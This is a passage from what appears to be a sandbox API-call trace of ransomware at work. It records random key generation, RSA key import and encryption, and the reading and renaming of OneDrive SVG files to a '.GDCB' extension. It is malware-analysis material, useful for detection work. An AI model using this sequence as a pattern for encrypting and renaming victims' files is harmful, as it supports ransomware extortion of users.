(in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0202.194] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2c90) returned 1 [0202.194] CryptGetKeyParam (in: hKey=0x50d2c90, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0202.194] CryptEncrypt (in: hKey=0x50d2c90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0202.195] GetLastError () returned 0x0 [0202.195] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0202.195] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0202.196] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2d90) returned 1 [0202.196] CryptGetKeyParam (in: hKey=0x50d2d90, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0202.196] CryptEncrypt (in: hKey=0x50d2d90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0202.197] GetLastError () returned 0x0 [0202.197] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0202.197] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\settings.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\settings.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0202.198] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0202.200] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0202.201] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x780, lpOverlapped=0x0) returned 1 [0202.209] VirtualAlloc (lpAddress=0x0, dwSize=0x780, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0202.213] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\settings.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\settings.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\settings.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\settings.svg.gdcb")) returned 1 [0202.216] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0202.218] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0202.219] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0202.219] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0202.219] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0202.219] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0202.221] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0202.222] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0202.222] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0202.222] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0202.222] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0202.224] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2d10) returned 1 [0202.224] CryptGetKeyParam (in: hKey=0x50d2d10, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0202.225] CryptEncrypt (in: hKey=0x50d2d10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0202.225] GetLastError () returned 0x0 [0202.225] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0202.225] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0202.226] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2910) returned 1 [0202.227] CryptGetKeyParam (in: hKey=0x50d2910, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0202.227] CryptEncrypt (in: hKey=0x50d2910, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0202.227] GetLastError () returned 0x0 [0202.227] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0202.227] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\settingsdisabled.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\settingsdisabled.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0202.229] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0202.230] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0202.231] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x56f, lpOverlapped=0x0) returned 1 [0202.240] VirtualAlloc (lpAddress=0x0, dwSize=0x570, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0202.245] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\settingsdisabled.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\settingsdisabled.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\settingsdisabled.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\settingsdisabled.svg.gdcb")) returned 1 [0202.249] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0202.250] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0202.251] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0202.252] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0202.252] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0202.252] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0202.253] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0202.254] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0202.254] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0202.254] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0202.254] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0202.256] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2e50) returned 1 [0202.256] CryptGetKeyParam (in: hKey=0x50d2e50, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0202.256] CryptEncrypt (in: hKey=0x50d2e50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0202.257] GetLastError () returned 0x0 [0202.257] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0202.257] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0202.258] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2ad0) returned 1 [0202.258] CryptGetKeyParam (in: hKey=0x50d2ad0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0202.258] CryptEncrypt (in: hKey=0x50d2ad0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0202.259] GetLastError () returned 0x0 [0202.259] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0202.259] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\signIn.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\signin.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0202.260] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0202.262] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0202.263] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x2cd0, lpOverlapped=0x0) returned 1 [0202.271] VirtualAlloc (lpAddress=0x0, dwSize=0x2cd0, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0202.276] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\signIn.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\signin.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\signIn.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\signin.svg.gdcb")) returned 1 [0202.280] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0202.282] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0202.283] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0202.283] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0202.283] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0202.283] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0202.284] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0202.285] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0202.285] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0202.285] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0202.286] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0202.288] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2f90) returned 1 [0202.288] CryptGetKeyParam (in: hKey=0x50d2f90, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0202.288] CryptEncrypt (in: hKey=0x50d2f90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0202.288] GetLastError () returned 0x0 [0202.288] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0202.288] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0202.290] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2e10) returned 1 [0202.290] CryptGetKeyParam (in: hKey=0x50d2e10, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0202.290] CryptEncrypt (in: hKey=0x50d2e10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0202.290] GetLastError () returned 0x0 [0202.290] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0202.290] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\stackedIceCubes.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\stackedicecubes.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0202.292] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0202.294] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0202.294] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x12c7, lpOverlapped=0x0) returned 1 [0202.304] VirtualAlloc (lpAddress=0x0, dwSize=0x12d0, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0202.308] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\stackedIceCubes.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\stackedicecubes.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\stackedIceCubes.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\stackedicecubes.svg.gdcb")) returned 1 [0202.312] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0202.313] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0202.315] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0202.315] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0202.315] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0202.315] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0202.316] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0202.317] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0202.317] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0202.317] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0202.317] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0202.319] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2d50) returned 1 [0202.319] CryptGetKeyParam (in: hKey=0x50d2d50, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0202.319] CryptEncrypt (in: hKey=0x50d2d50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0202.319] GetLastError () returned 0x0 [0202.319] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0202.319] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0202.321] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2e90) returned 1 [0202.321] CryptGetKeyParam (in: hKey=0x50d2e90, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0202.321] CryptEncrypt (in: hKey=0x50d2e90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0202.321] GetLastError () returned 0x0 [0202.321] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0202.321] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\waterGlass.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\waterglass.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0202.323] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0202.325] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0202.326] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x72d, lpOverlapped=0x0) returned 1 [0202.353] VirtualAlloc (lpAddress=0x0, dwSize=0x730, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0202.358] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\waterGlass.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\waterglass.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\waterGlass.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\waterglass.svg.gdcb")) returned 1 [0202.394] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0202.396] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0202.397] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0202.397] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0202.397] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0202.397] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0202.399] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0202.399] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0202.399] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0202.399] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0202.400] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0202.402] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d2f10) returned 1 [0202.402] CryptGetKeyParam (in: hKey=0x50d2f10, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0202.402] CryptEncrypt (in: hKey=0x50d2f10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0202.402] GetLastError () returned 0x0 [0202.402] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0202.402] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", 